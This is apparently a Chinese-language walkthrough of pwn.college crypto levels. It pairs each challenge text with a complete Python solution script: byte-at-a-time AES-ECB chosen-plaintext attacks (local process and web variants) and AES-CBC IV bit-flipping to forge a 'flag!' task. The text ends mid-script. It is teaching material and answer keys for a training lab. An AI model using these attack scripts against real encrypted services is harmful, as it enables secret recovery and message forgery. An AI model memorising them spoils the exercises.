密码系统需要符合非常高的密文不可区分性标准。也就是说,缺乏密码系统密钥的攻击者不应能够根据加密的明文来区分密文对。例如,如果攻击者查看密文 UVSDFGIWEHFBFFCA 和 LKXBFVYASLJDEWEU,并且能够确定后者是由明文 EEEEFFFFGGGGHHHH 产生的(或者,实际上,能找出关于明文的任何信息!),那么该密码系统就被认为是已破解的。即使攻击者已经知道部分或全部明文(这种情况称为已知明文攻击),或者甚至可以控制部分或全部明文(这种情况称为选择明文攻击),这个属性也必须成立!
ECB 容易受到已知明文攻击和选择明文攻击。因为每个块都用相同的密钥加密,没有其他修改,攻击者可以在具有相同明文的不同块之间观察到相同的密文。此外,如果攻击者可以选择或了解与其中一些块相关的明文,他们可以精心构建一个从已知明文到已知密文的映射,并将其用作查找表来解密其他匹配的密文!
在这一关中,你将做这件事:你将构建一个从密文到选择明文的密码本映射,然后用它来解密flag。祝你好运!
提示: 你可能会发现自动化与此挑战的交互很有帮助。你可以使用 pwntools Python 包来实现。查看来自一位 pwn.college 同学的这份 pwntools 备忘录!
查看解析
题目给出的/challenge/run有两个选项:
选项1:加密明文
选项2:获取flag每个位置的加密结果
1. ECB模式的关键缺陷
确定性加密:相同的明文总是产生相同的密文
块独立性:每个16字节块独立加密,互不影响
填充固定:PKCS#7填充是确定性的(例如,1字节明文 + 15个0x0f填充字节)
2. 攻击思路
构建查找表:使用选项1加密所有可能的可打印字符
逐字节查询:使用选项2获取flag每个位置的加密结果
比对恢复:将flag的加密结果与查找表比对,找到对应字符
3. 数学原理
对于AES-ECB:
加密:E(明文块) = 密文块
由于填充固定,单字符明文x的加密过程:
输入块 = x + 填充字节
密文 = AES_encrypt(输入块, 密钥)
因为密钥固定,相同的输入块总是产生相同的输出块。
from pwn import *
import string
# 设置上下文
context.log_level = 'error'
p = process("/challenge/run")
# 交互函数
def encrypt_custom(data_bytes):
"""选项1:加密自定义数据"""
p.sendlineafter(b"Choice? ", b"1")
try:
data_str = data_bytes.decode('utf-8')
except UnicodeDecodeError:
p.sendlineafter(b"Data? ", b"a") # 发送占位符
p.recvuntil(b"Result: ")
p.recvline()
return None
p.sendlineafter(b"Data? ", data_str.encode())
p.recvuntil(b"Result: ")
return bytes.fromhex(p.recvline().decode().strip())
def encrypt_flag_tail(length):
"""选项2:加密flag尾部"""
p.sendlineafter(b"Choice? ", b"2")
p.sendlineafter(b"Length? ", str(length).encode())
p.recvuntil(b"Result: ")
return bytes.fromhex(p.recvline().decode().strip())
# 主攻击逻辑
print("[*] 开始从末尾恢复flag...")
# 扩展字符集
charset = string.printable.strip()
# 移除可能导致问题的字符
charset = charset.replace('\r', '').replace('\n', '').replace('\t', '')
recovered = ""
attempt = 0
while True:
attempt += 1
# 获取flag最后n个字符的加密,n = len(recovered) + 1
target_len = len(recovered) + 1
target_ct = encrypt_flag_tail(target_len)
found = False
# 尝试每个可能的字符
for ch in charset:
# 构造猜测:新字符 + 已恢复的部分
guess = ch + recovered
# 加密我们的猜测
guess_ct = encrypt_custom(guess.encode())
if guess_ct is None:
continue # 跳过无效编码
if guess_ct == target_ct:
recovered = ch + recovered
print(f"[+] 找到字符: '{ch}' -> 当前恢复: {recovered}")
found = True
break
if not found:
print(f"[!] 无法找到第{target_len}个字符")
print(f"[!] 当前恢复: {recovered}")
break
# 检查是否找到完整flag
if recovered.startswith("pwn.college{") and recovered.endswith("}"):
print(f"\n[✓] Flag恢复完成!")
print(f"[✓] Flag: {recovered}")
break
# 安全限制
if attempt > 100:
print(f"[!] 达到最大尝试次数")
break
p.close()
AES-ECB-CPA-HTTP
好的,现在我们将在一个稍微更现实的场景中尝试该攻击。你能记得你的 SQL 来执行攻击并恢复flag吗?
提示: 请记住,你可以通过 SELECT 'my_plaintext' 让 select 返回选定的明文!
查看解析
同上关明文攻击的原理
import requests
import string
url = "http://challenge.localhost/"
# 步骤1:构建查找表
charset = string.printable.strip()
lookup = {}
for ch in charset:
# 发送查询获取字符'ch'的加密结果
query_param = f"'{ch}'"
r = requests.get(url, params={"query": query_param})
# 从HTML中提取密文(在第二个<pre>标签中)
parts = r.text.split("<pre>")
if len(parts) < 3:
continue # 跳过格式错误的响应
ct = parts[2].split("</pre>")[0].strip()
lookup[ct] = ch # 记录密文到字符的映射
# 步骤2:提取flag
flag = "pwn.college{"
i = len(flag) + 1 # 从'{'后面的字符开始
while True:
# 获取flag的第i个字符
r = requests.get(url, params={"query": f"substr(flag,{i},1)"})
parts = r.text.split("<pre>")
if len(parts) < 3:
break # 格式错误
ct = parts[2].split("</pre>")[0].strip()
ch = lookup.get(ct) # 查找对应字符
if not ch:
break # 字符不在查找表中
flag += ch
print(f"[+] {flag}")
if ch == "}":
break # flag结束
i += 1
print(f"\n[*] Final flag: {flag}")

AES-ECB-CPA-HTTP (base64)
由于历史原因,不同的编码往往在不同的环境中流行起来。例如,在网络上,编码二进制数据的标准方式是 base64,这是你在数据处理中学到的一种编码。现在运用这项技能,调整你之前的解决方案以适应 base64!
你将会(再次)注意到,base64 不像十六进制那样方便推理。为什么人们使用它?一个原因是:每个字节需要两个十六进制字母来编码,而 base64 用 4 个字母编码每 3 个字节。这意味着,例如,当通过网络发送每个字母本身作为一个字节时,base64 的效率稍高一些。另一方面,由于不整齐的位边界,处理起来很麻烦!
在其余模块中,挑战可能会使用十六进制或 base64,随我们心意。能够处理两者是很重要的!
查看解析
同上关明文攻击的原理
脚本只要加上base64解码的步骤即可
import requests
import string
import base64
url = "http://challenge.localhost/"
# 步骤1:构建查找表
charset = string.printable.strip()
lookup = {}
for ch in charset:
# 发送查询获取字符'ch'的加密结果
query_param = f"'{ch}'"
r = requests.get(url, params={"query": query_param})
# 从HTML中提取密文(在第二个<pre>标签中)
parts = r.text.split("<pre>")
if len(parts) < 3:
continue # 跳过格式错误的响应
# Base64解码获取原始密文
ct_b64 = parts[2].split("</pre>")[0].strip()
ct = base64.b64decode(ct_b64) # 关键:Base64解码
lookup[ct] = ch # 记录密文到字符的映射
# 步骤2:提取flag
flag = "pwn.college{"
i = len(flag) + 1 # 从'{'后面的字符开始
while True:
# 获取flag的第i个字符
r = requests.get(url, params={"query": f"substr(flag,{i},1)"})
parts = r.text.split("<pre>")
if len(parts) < 3:
break # 格式错误
# Base64解码
ct_b64 = parts[2].split("</pre>")[0].strip()
ct = base64.b64decode(ct_b64)
ch = lookup.get(ct) # 查找对应字符
if not ch:
break # 字符不在查找表中
flag += ch
print(f"[+] {flag}")
if ch == "}":
break # flag结束
i += 1
print(f"\n[*] Final flag: {flag}")

AES-ECB-CPA-Suffix
好的,现在让我们稍微复杂化一下,以增加真实性。你能轻易地为你想要的明文构造查询的情况很少见。然而,将某些数据的尾部分离到其自己的块中,这种情况不那么少见,而在 ECB 中,这是个坏消息。我们将在本挑战中探索这个概念,将你查询flag子串的能力替换为仅仅加密末尾一些字节的能力。
向我们展示你仍然可以解决这个问题!
提示: 请记住,一旦你恢复了flag末尾的某些部分,你可以用已知部分的附加前缀构建一个新的密码本,并对前一个字节重复攻击!
查看解析
同上关明文攻击的原理
脚本基于AES-ECB-CPA关卡修改,从后往前来破解即可
from pwn import *
import string
p = process("/challenge/run")
# 简化交互函数
def enc_choice(choice, data=None, length=None):
p.sendlineafter(b"Choice? ", str(choice).encode())
if choice == 1:
p.sendlineafter(b"Data? ", data)
else:
p.sendlineafter(b"Length? ", str(length).encode())
p.recvuntil(b"Result: ")
return bytes.fromhex(p.recvline().decode().strip())
BLOCK_SIZE = 16
flag = ""
print("恢复flag中...")
# 利用ECB模式特性恢复flag
for i in range(1, 100):
# 获取flag末尾i个字节的加密结果
flag_ct = enc_choice(2, length=i)
target_block = flag_ct[:BLOCK_SIZE] if i <= BLOCK_SIZE else flag_ct[BLOCK_SIZE:2*BLOCK_SIZE]
# 遍历所有可打印字符
for c in string.printable:
# 构造测试明文
test_pt = ("A"*(i-1) + c).encode() if i <= BLOCK_SIZE else ("A"*(BLOCK_SIZE-1-len(flag[-BLOCK_SIZE+1:])) + flag[-BLOCK_SIZE+1:] + c).encode()
test_ct = enc_choice(1, data=test_pt)
# 比较密文块
if test_ct[:BLOCK_SIZE] == target_block:
flag = c + flag # 从后往前恢复,所以添加到开头
print(f"{flag}")
if c == "}":
p.close()
exit()
break
p.close()
print(flag)
AES-ECB-CPA-Prefix
好的,现在让我们稍微复杂化一下。你能轻松地切断有趣数据的末尾并肆意操作的情况并不那么常见。然而,更常见的是能够在加密之前将选定的明文前置添加到密钥之前。如果你精心设计前置数据,使其将密钥的末尾推入一个新的块中,你就成功地将其隔离,达到了如同将其切断一样的效果!
在这个挑战中继续做下去。核心攻击和之前一样,只是涉及更多的数据操作。
提示: 请记住,一个典型的 pwn.college flag长度通常在 50 字节以上。这是四个块(三个完整块和一个部分块),长度可能略有不同。你需要试验必须前置多少字节才能将哪怕一个末尾字符推到它自己的块中。
提示: 请记住块的长度是 16 字节!在你泄露了最后 16 字节之后,你将开始查看倒数第二个块,依此类推。
查看解析
同上关明文攻击的原理,可以在flag前面添加任意前缀,然后加密整个字符串(前缀+flag)
1、攻击思路是:控制前缀长度,使flag的每个字符依次出现在目标块(第5块)的最后一个位置
2、攻击原理原理:
设:
目标块编号:5(从1开始)
每个块大小:16字节
要恢复第i个字符
计算前缀长度:
前缀长度 = (4 × 16) - i = 64 - i
这样:
前4个块(64字节)由前缀填充
第5块的前(16-i)个字节是前缀的剩余部分('A')
第5块的最后i个字节是flag的前i个字符
3、攻击过程:
对于第i个字符:
使用选项2加密:前缀(64-i个'A') + flag
提取第5块密文:C_target
使用选项1加密:前缀(64-i个'A') + 已知的前(i-1)个字符 + 猜测字符
提取第5块密文:C_guess
如果C_target == C_guess,则猜测正确
from pwn import *
import string
context.log_level = 'error'
p = process("/challenge/run")
CHARSET = string.printable.strip().encode()
BLOCK_SIZE = 16
TARGET_BLOCK_NUM = 5 # 目标块编号(从1开始)
TOTAL_PAD = TARGET_BLOCK_NUM * BLOCK_SIZE # 80字节
MAX_FLAG_LEN = 64
def send_choice(choice):
p.sendline(str(choice).encode())
def encrypt_custom(pt: bytes) -> bytes:
"""选项1:加密自定义明文"""
send_choice(1)
p.sendline(pt.decode('utf-8', errors='ignore').encode())
p.recvuntil(b"Result: ")
return p.recvline().strip()
def encrypt_prepended_flag(prefix: bytes) -> bytes:
"""选项2:加密前缀+flag"""
send_choice(2)
p.sendline(prefix.decode('utf-8', errors='ignore').encode())
p.recvuntil(b"Result: ")
return p.recvline().strip()
def get_block(ct: bytes, n: int) -> bytes:
"""获取第n个16字节块(十六进制字符串)"""
start = (n - 1) * BLOCK_SIZE * 2 # 每个十六进制字符占2个字节
end = start + BLOCK_SIZE * 2
return ct[start:end]
# 从前往后恢复flag
recovered = b""
print("[*] Recovering flag from the start...")
while len(recovered) < MAX_FLAG_LEN:
# 计算前缀长度
pad_len = TOTAL_PAD - (len(recovered) + 1) # 80 - (已恢复长度 + 1)
prefix = b"A" * pad_len
# 获取目标块(包含未知字符)
target_ct = encrypt_prepended_flag(prefix)
target_block = get_block(target_ct, TARGET_BLOCK_NUM)
# 构建查找表
lookup = {}
for ch in CHARSET:
# 构造猜测:前缀 + 已恢复 + 猜测字符
guess = prefix + recovered + bytes([ch])
ct = encrypt_custom(guess)
guess_block = get_block(ct, TARGET_BLOCK_NUM)
lookup[guess_block] = ch
# 查找匹配的字符
if target_block in lookup:
recovered += bytes([lookup[target_block]])
print(f"[+] Flag so far: {recovered.decode(errors='replace')}")
# 检查是否结束
if recovered.endswith(b"}"):
print(f"\n[*] Final flag: {recovered.decode(errors='replace')}")
break
else:
print("[!] Failed to match block")
break
AES-ECB-CPA-Prefix-2
之前的挑战忽略了一个非常重要的事情:填充。AES 的块大小是 128 位(16 字节)。这意味着算法的输入必须是 16 字节长,任何短于此的输入必须在加密前通过向明文添加数据来进行填充以使其达到 16 字节。当密文被解密时,结果必须去除填充(例如,必须移除添加的填充字节)以恢复原始明文。
如何填充是一个有趣的问题。例如,你可以用空字节(0x00)填充。但如果你的数据末尾有空字节怎么办?它们可能会在去除填充时被错误地移除,导致你得到的明文与原始明文不同!这将非常糟糕。
一个填充标准(可能也是最流行的)是 PKCS7,它简单地用字节填充输入,这些字节的值都等于填充的字节数。如果一个字节被添加到一个 15 字节的输入中,它包含值 0x01;两个字节添加到 14 字节的输入中将是 0x02 0x02;而 15 个字节添加到 1 字节的输入中都将具有值 0x0f。在去除填充时,PKCS7 会查看块的最后一个字节的值,并移除相应数量的字节。很简单!
但是等等... 如果正好有 16 字节的明文被加密(例如,不需要填充),但明文字节的值是 0x01 怎么办?如果任其发展,PKCS7 会在去除填充时切掉那个字节,导致我们得到一个损坏的明文。解决这个问题的方法有点傻:如果明文的最后一个块正好是 16 字节,我们添加一个全是填充的块(例如,16 个填充字节,每个的值为 0x10)。PKCS7 在去除填充时移除整个块,明文的完整性得以保持,代价是多了一点数据。
无论如何,之前的挑战明确禁用了最后这种情况,否则当你试图将第一个后缀字节推到它自己的块时,会导致出现一个充满填充的"诱饵"密文块。这个挑战会正确地进行填充。注意那个"诱饵"块,去解决它吧!
注意: 全填充块仅在明文的最后一个块正好填满 16 字节时出现。当再追加一个字节时它会消失(被包含明文最后一个字节的填充新块所取代),但当新块长度达到 16 字节时,它会重新出现。
查看解析
同上关,这里可以用另一个思路
假设我们已经恢复了flag的最后k个字符suffix,要恢复第k+1个字符(倒数第k+1个):
设置前缀长度:prefix_len = 固定值 + k
随着k增加,前缀长度也增加
这确保flag的倒数第k+1个字符出现在目标块的第一个位置
获取目标密文:
加密:prefix + flag
提取第5块密文:target_block
构建查找表:
对于每个可能字符ch,加密:ch + suffix
提取第1块密文(因为ch + suffix可能超过16字节,但只有前16字节影响第一块)
建立映射:密文 → 字符
匹配字符:
如果target_block在查找表中,则找到的字符就是flag的倒数第k+1个字符
#!/usr/bin/env python3
from pwn import *
import string
# 设置日志级别,减少不必要的输出
context.log_level = 'error'
# 连接到挑战程序
p = process("/challenge/run")
# 定义字符集(可打印字符)
CHARSET = string.printable.strip().encode()
# AES块大小
BLOCK_SIZE = 16
# 目标块编号(从1开始计数)
# 经过分析,第5块是包含flag信息的块
TARGET_BLOCK_NUM = 5
# 基础填充长度,这个值需要通过实验确定
# 8是经过测试发现的最佳值,使得flag的尾部字符能正确对齐到目标块
TOTAL_PAD = 8
# 最大flag长度,防止无限循环
MAX_FLAG_LEN = 64
def send_choice(choice):
"""
发送选择到程序
参数: choice - 选项编号(1或2)
"""
p.sendline(str(choice).encode())
def encrypt_custom(pt: bytes) -> bytes:
"""
选项1:加密自定义明文
参数: pt - 要加密的明文(字节)
返回: 十六进制格式的密文字符串
"""
send_choice(1)
try:
# 确保输入是有效的UTF-8字符串
# 因为挑战程序使用input().encode()
s = pt.decode('utf-8')
except UnicodeDecodeError:
return b'' # 跳过非UTF-8字节
p.sendline(s.encode())
p.recvuntil(b"Result: ")
return p.recvline().strip()
def encrypt_prepended_flag(prefix: bytes) -> bytes:
"""
选项2:加密前缀+flag
参数: prefix - 要添加在flag前面的前缀
返回: 十六进制格式的密文字符串
"""
send_choice(2)
# 将前缀解码为字符串再编码,确保兼容性
p.sendline(prefix.decode('utf-8', errors='ignore').encode())
p.recvuntil(b"Result: ")
return p.recvline().strip()
def get_block(ct: bytes, n: int) -> bytes:
"""
从十六进制密文字符串中提取第n个16字节块
参数:
ct - 十六进制格式的密文字符串
n - 块编号(从1开始)
返回: 该块的十六进制字符串
"""
# 每个十六进制字符占2个字节,所以块的位置需要乘以2
start = (n - 1) * BLOCK_SIZE * 2
end = start + BLOCK_SIZE * 2
return ct[start:end]
def main():
"""
主攻击函数:从后向前逐字符恢复flag
"""
# 存储已恢复的flag(从后向前)
recovered = b""
print("[*] 从尾部开始恢复flag...")
# 循环恢复flag的每个字符
while len(recovered) < MAX_FLAG_LEN:
# 计算当前需要的前缀长度
# 随着已恢复字符数增加,前缀长度也增加
# 这确保flag的下一字符出现在目标块的正确位置
pad_len = TOTAL_PAD + len(recovered)
prefix = b"A" * pad_len
# 步骤1:获取目标密文块
# 使用选项2加密:前缀 + flag
target_ct = encrypt_prepended_flag(prefix)
# 提取第5块(目标块)
target_block = get_block(target_ct, TARGET_BLOCK_NUM)
# 步骤2:构建字符-密文查找表
lookup = {}
for ch in CHARSET:
# 构造猜测:当前字符 + 已恢复的尾部
# 例如,如果已恢复"W}",则猜测可能是"cW}"、"dW}"等
guess = bytes([ch]) + recovered
# 使用选项1加密这个猜测
ct = encrypt_custom(guess)
# 提取第一个块的密文
# 因为猜测字符串的长度不超过16字节时,只会影响第一个块
guess_block = get_block(ct, 1)
# 记录映射:密文块 -> 字符
lookup[guess_block] = ch
# 步骤3:在查找表中查找目标块
if target_block in lookup:
# 找到匹配的字符,添加到已恢复字符串的前面
ch = lookup[target_block]
recovered = bytes([ch]) + recovered
# 显示进度
print(f"[+] 当前恢复: {recovered.decode(errors='replace')}")
# 检查是否已恢复完整的flag
# 当字符串以"pwn"开头时,说明已恢复完整flag
if recovered.startswith(b"pwn"):
print(f"\n[*] 最终flag: {recovered.decode(errors='replace')}")
break
else:
# 没有找到匹配的字符,可能是对齐问题或字符不在字符集中
print("[!] 无法匹配块 - 可能是块索引或对齐错误")
break
# 关闭程序连接
p.close()
if __name__ == "__main__":
main()
AES-ECB-CPA-Prefix-Miniboss
这是 AES-ECB-CPA 的小 Boss。你不再有简单的方法来构建你的密码本了:你必须在前缀中构建它。如果你能根据已知的秘密数量来改变你自己前缀数据的长度,你就可以控制整个块,这就是你所需要的全部!除此之外,攻击保持不变。祝你好运!
查看解析
同上关明文攻击的原理,添加了更多的限制:
1、输入必须是十六进制格式
2、没有单独的"加密自定义明文"选项
3、无法直接构建查找表,需要利用加密输出本身创建查找表
攻击思路步骤:
1、确定块对齐
通过发送不同长度的输入,观察密文块数:
# 发送2字节(0x0f)
Data? 0f
# 得到4个块,128个十六进制字符 = 64字节 = 4个16字节块
a3c0405b0a0704b7634a7f1bd3a7755969ed08e780526c2644a6f0510edb1045fa68613d8824a804b5c3c1103895d7f1ff60817044b67ae140e40db7300d5377
# 发送8字节(8个0x0f)
Data? 0f0f0f0f0f0f0f0f
# 得到5个块,第5块包含flag最后一个字符
5b27d956515886bf785cd996cac019c31085220692bcc185ac1a07eabe7291e85d2f6fc5b9c1fca025e216b92b6877ecf6b4fe3ddc221194cc597ed3c11ffc68
第5块:50e3bdf1b5702047c9199c4309269941
2、创建完全可控的块
为了创建一个完全由我们控制的块作为查找表,需要将flag的前8字节推到第二个块:
# 发送16字节(16个0x0f)
Data? 0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
# 得到6个块,第1块的明文完全由0x0f组成
第1块:f3e882d7ef83c70f5dbc6023daacdde9
3f4d8b738d7bff36e59f9cf4ec725ce8c88f607fc0c106773aadd69cbc7a568d85b1e3a5441dc5b05e9477477378749c096664275a467e05fe3d9895a3ecd783387bac61bae320b42f6fbac8213e5e6b
3、验证方法可行性
利用已知flag以"}"结尾的事实:
# 发送:0x7d('}') + 31个0x0f
Data? 7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
# 第1块和第6块密文相同,验证方法可行
第1块:50e3bdf1b5702047c9199c4309269941
第2~5块:5b27d956515886bf785cd996cac019c31085220692bcc185ac1a07eabe7291e85d2f6fc5b9c1fca025e216b92b6877ecf6b4fe3ddc221194cc597ed3c11ffc68
第6块:50e3bdf1b5702047c9199c4309269941
from pwn import *
import string
context.log_level = 'error'
p = process("/challenge/run")
# 可打印字符集
CHARSET = string.printable.strip().encode()
BLOCK_SIZE = 16
REF_BLOCK_NUM = 1 # 查找表块(第1块)
TARGET_BLOCK_NUM = 6 # 目标块(第6块,包含flag尾部)
TOTAL_PAD = 23 # 静态填充长度
MAX_FLAG_LEN = 64
def encrypt_prefix(prefix: bytes) -> bytes:
"""发送十六进制数据并获取密文"""
p.sendline(prefix.hex().encode()) # 发送十六进制编码
p.recvuntil(b"Ciphertext: ")
return p.recvline().strip()
def get_block(ct: bytes, n: int) -> bytes:
"""从十六进制密文中提取第n个块"""
start = (n - 1) * BLOCK_SIZE * 2
end = start + BLOCK_SIZE * 2
return ct[start:end]
# 从后向前恢复flag
recovered = b""
print("[*] 从尾部开始恢复flag...")
while len(recovered) < MAX_FLAG_LEN:
# 计算PKCS#7填充字节值
# 随着已恢复字符增加,填充字节值减少
pkcs_byte = max(15 - len(recovered), 0)
padding = bytes([pkcs_byte]) * TOTAL_PAD
found = False
for ch in CHARSET:
# 构造猜测:ch + 已恢复的字符 + 填充
guess = bytes([ch]) + recovered + padding
# 加密
ct = encrypt_prefix(guess)
# 获取第1块(查找表)和第6块(目标块)
block_1 = get_block(ct, REF_BLOCK_NUM)
block_6 = get_block(ct, TARGET_BLOCK_NUM)
# 如果两个块相同,说明猜测正确
if block_1 == block_6:
recovered = bytes([ch]) + recovered
print(f"[+] Flag so far: {recovered.decode(errors='replace')}")
found = True
break
if not found:
print("[!] 无法匹配任何字节 - 检查块索引/对齐")
break
# 当检测到完整的flag结构时停止
if recovered.startswith(b"pwn") and recovered.endswith(b"}"):
print(f"\n[*] 最终flag: {recovered.decode(errors='replace')}")
break
AES-ECB-CPA-Prefix-Boss
好的,是时候面对 AES-ECB-CPA 的最终 Boss 了!你能对加密的秘密存储网络服务器执行此攻击吗?让我们拭目以待!
注意: 请记住,与之前的关卡不同,本关卡接收 base64 格式的数据!
查看解析
同上关,但是Web版
import requests
import base64
import string
URL = "http://challenge.localhost"
CHARSET = string.printable.strip().encode()
BLOCK_SIZE = 16
REF_BLOCK_NUM = 1 # 参考块(第1块)
TARGET_BLOCK_NUM = 6 # 目标块(第6块)
TOTAL_PAD = 22 # 总填充长度
MAX_FLAG_LEN = 64
session = requests.Session()
def reset_db():
"""重置数据库,只保留flag"""
session.post(f"{URL}/reset")
def encrypt_prefix(prefix: bytes) -> bytes:
"""插入内容并获取加密结果"""
# 插入用户控制的内容
session.post(URL, data={'content': prefix.decode('latin1')})
# 获取加密备份
resp = session.get(URL).text
ct_b64 = resp.split("<pre>")[1].split("</pre>")[0].strip()
return base64.b64decode(ct_b64).hex()
def get_block(ct: bytes, n: int) -> bytes:
"""获取第n个块"""
start = (n - 1) * BLOCK_SIZE * 2
end = start + BLOCK_SIZE * 2
return ct[start:end]
# 从后向前恢复flag
recovered = b""
print("[*] Recovering flag from the end...")
while len(recovered) < MAX_FLAG_LEN:
# 动态计算填充字节值
pkcs_byte = max(15 - len(recovered), 0)
padding = bytes([pkcs_byte]) * TOTAL_PAD
found = False
for ch in CHARSET:
# 构造猜测:ch + 已恢复 + 填充
guess = bytes([ch]) + recovered + padding
reset_db() # 每次尝试前重置数据库
ct = encrypt_prefix(guess)
# 比较第1块和第6块
block_ref = get_block(ct, REF_BLOCK_NUM)
block_target = get_block(ct, TARGET_BLOCK_NUM)
if block_ref == block_target:
recovered = bytes([ch]) + recovered
print(f"[+] Flag so far: {recovered.decode(errors='replace')}")
found = True
break
if not found:
print("[!] Failed to match any byte")
break
# 检查是否恢复完整
if recovered.startswith(b"pwn") and recovered.endswith(b"}"):
print(f"\n[*] Final flag: {recovered.decode(errors='replace')}")
break
AES-CBC
好的,希望我们都同意 ECB 是一种不好的分组密码模式。让我们探索一种不那么糟糕的模式:密码分组链接(CBC)。CBC 模式按顺序加密块,在加密第 N 号明文块之前,它会将其与前一个密文块(第 N-1 号)进行异或。解密时,在解密密文块 N 之后,它将解密后的(但仍然是异或过的)结果与前一个密文块(第 N-1 号)进行异或以恢复原始明文块 N。对于第一个块,由于没有"前一个"块可用,CBC 密码系统会生成一个称为初始化向量(IV)的随机初始块。IV 用于与第一块明文进行异或,并随消息一起传输(通常预置在其前面)。这意味着,如果你在 CBC 模式下加密一个明文块,你可能会得到两个"密文"块:IV,以及你实际密文的单个块。
所有这些意味着,当你改变明文的任何部分时,这些变化将通过基于异或的链接传播到所有后续的密文块,从而为这些块保持密文的不可区分性。这将阻止你执行前几个挑战中的选择明文前缀攻击。此外,每次重新加密时,即使使用相同的密钥,也会使用一个新的(随机的)IV,这将把变化传播到所有块,这意味着即使你更早关卡中基于采样的 CPA 攻击也将不起作用。
听起来很不错,对吧?与 EBC 相比,CBC 唯一相关的缺点是加密必须按顺序进行。对于 ECB,你可以只加密消息的最后一部分,如果那是你需要发送的全部。而对于 CBC,你必须从头开始加密消息。在实践中,这往往不是问题,并且永远不应该使用 ECB 来代替 CBC。
这一关只是快速了解一下 CBC。我们将用 CBC 模式加密flag。去解密它吧!
查看解析
CBC(Cipher Block Chaining):每个明文块先与前一个密文块进行异或,然后再加密
初始化向量(IV):第一个块需要一个随机的IV来提供随机性
链式结构:每个块的加密依赖于前一个块,提供扩散性
加密:C_i = E(P_i ⊕ C_{i-1}, K),其中 C_0 = IV
解密:P_i = D(C_i, K) ⊕ C_{i-1},其中 C_0 = IV
解密步骤
1、分离IV和密文:前16字节是IV,剩余部分是加密数据
2、创建解密器:使用相同的密钥、CBC模式和IV
3、解密:调用解密函数
4、去除填充:使用PKCS#7去除填充
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 1. 获取密钥
key_hex = "b8f7ca2b9ea1aa14f6bc6f3ffcd8d046"
key = bytes.fromhex(key_hex)
# 2. 获取完整密文
flag_cipher_hex = "2f5c985e0a8020d1d7fc55de0159c38f1b41e55bf4ad31d759bdd7120903c43b88d81c506f5f25093fa0476de2a3518bca92ae60ebd46108f423b7f8d7c85583c66a4f65286364df3b18f545c992a7be"
flag_cipher = bytes.fromhex(flag_cipher_hex)
# 3. 分离IV和密文(CBC模式中IV在前16字节)
iv = flag_cipher[:16]
ciphertext = flag_cipher[16:]
# 4. 创建CBC解密器
cipher = AES.new(key, AES.MODE_CBC, iv)
# 5. 解密并去除填充
flag_plain = unpad(cipher.decrypt(ciphertext), AES.block_size)
# 6. 输出flag
print(flag_plain.decode())
或者使用cyberchef
AES-CBC Tampering
基于 CBC 的密码系统在解密一个块后,会将其与前一个块的密文进行异或以恢复该块的明文。这样做有很多原因,包括:
- 这个异或操作是它与 ECB 模式的区别所在,我们已经看到 ECB 是多么容易出错。
- 如果它异或的是前一个块的明文而不是密文,那么其效果将取决于明文本身(例如,如果明文全是空字节,则异或将没有效果)。除了降低链接效果外,这还可能泄露关于明文的信息(密码系统中这是大忌!)。
- 如果它异或的是前一个块的明文而不是密文,CBC 的"随机访问"特性(即消息接收者可以从任何块开始解密)将会丢失。接收者将不得不恢复前一个明文,为此他们又必须恢复再前一个明文,依此类推,一直回溯到 IV。
不幸的是,在消息可能在传输过程中被修改的情况下(想想:拦截通信),狡猾的攻击者可以通过将精心选择的值异或到第 N-1 块的密文中来直接影响第 N 块的解密明文结果。这会损坏第 N-1 块(因为它会解密成垃圾),但根据具体情况,这可能是可以接受的。此外,对 IV 执行此操作允许攻击者异或第一块的明文,而不会损坏任何块!
用安全术语来说,CBC 保留了(不完全地,正如我们将在接下来的几个挑战中看到的)机密性,但不保留完整性:消息可能被攻击者篡改!
我们将在这个关卡中探索这个概念,其中一个任务调度器将加密的任务分派给任务工作者。你能强制披露flag吗?
查看解析
AES-CBC模式的比特翻转攻击,关卡形式类似于One-time Pad Tampering这一关
攻击原理:
1. CBC解密公式
在CBC模式中,解密过程为:
P_i = D(C_i, K) ⊕ C_{i-1}
其中:
P_i 是第i个明文块
D(C_i, K) 是用密钥K解密第i个密文块
C_{i-1} 是前一个密文块(对于第一个块,C_0 = IV)
2. 攻击目标
我们有一个合法的密文,解密后得到"sleep"。我们想要修改它,使得解密后得到"flag!"。
3. 数学推导
已知明文`sleep`:
P_1 = D(C_1, K) ⊕ IV_1 (1)
目标明文`flag!`满足:
P_2 = D(C_1, K) ⊕ IV_2 (2)
从(1)可得`sleep`密文:
D(C_1, K) = P_1 ⊕ IV_1
代入(2):
P_2 = (P_1 ⊕ IV_1) ⊕ IV_2
因此:
IV_2 = P_1 ⊕ IV_1 ⊕ P_2
4. 关键点
***不需要密钥:攻击只需要知道原始明文和目标明文***
只修改IV:密文本身保持不变
填充处理:必须考虑PKCS#7填充
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
# 原始密文
ct_1_hex = "389fc7559d6ce9b826d60048ac498f5c1cdbbe325ba9fc47e4682c31b79f3d25"
ct_1 = bytes.fromhex(ct_1_hex)
# 分离IV和密文
iv_1 = ct_1[:16] # 前16字节是IV
ae = ct_1[16:] # 后16字节是加密数据
# 原始明文和目标明文(填充后)
pt_1 = pad(b"sleep", AES.block_size) # "sleep" + 11个0x0b
pt_2 = pad(b"flag!", AES.block_size) # "flag!" + 11个0x0b
# 计算新IV: IV_2 = IV_1 ⊕ P_1 ⊕ P_2
iv_2 = strxor(iv_1, strxor(pt_1, pt_2))
# 构造新密文
ct_2 = iv_2 + ae
print("TASK:", ct_2.hex())
或者使用cyberchef
密文IV部分:
密文主体部分:
AES-CBC Resizing
所以现在你可以在不知道密钥的情况下修改 AES-CBC 加密的数据了!但你很幸运:sleep 和 flag! 长度相同。如果你想要达到不同的长度呢?
提示: 别忘了填充!填充是如何工作的?
查看解析
与上关相同,唯一不同点在于需要填充目标明文
"sleep":5字节 → 需要11字节填充,填充值 = 0x0b(十进制11)
"flag":4字节 → 需要12字节填充,填充值 = 0x0c(十进制12)
python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
# 原始密文
ct_1_hex = "2b3988307b4fd540909f3b13601ccdfeb9881cecba0f42de2108d453e8478a98"
ct_1 = bytes.fromhex(ct_1_hex)
# 分离IV和密文块
iv_1 = ct_1[:16]
ae = ct_1[16:] # 密文块
# 填充后的明文
